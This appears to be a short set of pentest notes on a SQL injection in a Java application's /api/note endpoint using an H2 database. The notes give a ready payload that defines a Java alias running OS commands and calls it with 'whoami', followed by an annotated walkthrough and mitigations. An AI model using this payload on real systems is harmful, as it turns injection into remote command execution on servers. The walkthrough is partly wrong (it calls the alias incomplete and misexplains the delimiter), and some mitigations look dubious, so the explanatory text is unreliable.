Skip to content

Back

Pentest Notes

[!bug] SQLi

  1. app is written in Java
  2. app uses H2 database
  3. API **/api/note** vulnerable

[!hint] Payloads -

SQL Injection'; CREATE ALIAS EXE_CMD AS 'String exec(String cmd) throws Exception { Process p = Runtime.getRuntime().exec(cmd); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";}' --

and ' union select 1,2,EXE_CMD('whoami') --

  • Java-based SQL injection payload targeting H2 Database Engine or another Java-embedded database that supports custom Java function creation
  • payload is designed to allow multiple SQL injection queries that add lines of code to the EXE_CMD procedure

  • '; - This starts the new query by appending a semicolon, which tells the database to execute this new command.

  • CREATE ALIAS EXE_CMD AS - This syntax creates an alias for a new stored procedure named EXE_CMD. An alias is another name that can be used instead of a long procedure name.
  • String exec(String cmd) throws Exception { ... } - The payload defines the code for this new stored procedure (EXE_CMD). However, it doesn't define the entire code; it's incomplete and will continue to gather more lines through future SQL injection queries.
  • Process p = Runtime.getRuntime().exec(cmd); - Here's where things start to get interesting. This line of code defines a method named exec that takes one parameter (cmd), which is a command to execute on the database server or any other system connected to it.
  • java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); - The result of the previous execution is stored in a Scanner object, and the delimiter is set to "\A", which means that everything after this point will be returned as a single string.
  • return s.hasNext() ? s.next() : ""; - Finally, if there's data available from the previous execution, return it; otherwise, return an empty string.
String exec(String cmd) throws Exception {
  Process p = Runtime.getRuntime().exec(cmd);
  java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");
  return s.hasNext() ? s.next() : "";
}

Mitigations

  • Never use H2 in MODE=MySQL or with ALLOW_LITERALS=ALL in production.
  • Disable ALIAS creation: SET ALLOW_CREATE_ALIAS FALSE
  • Disable class execution: -Dh2.implicitRelativePath=false
  • Parameterized queries and strict privilege separation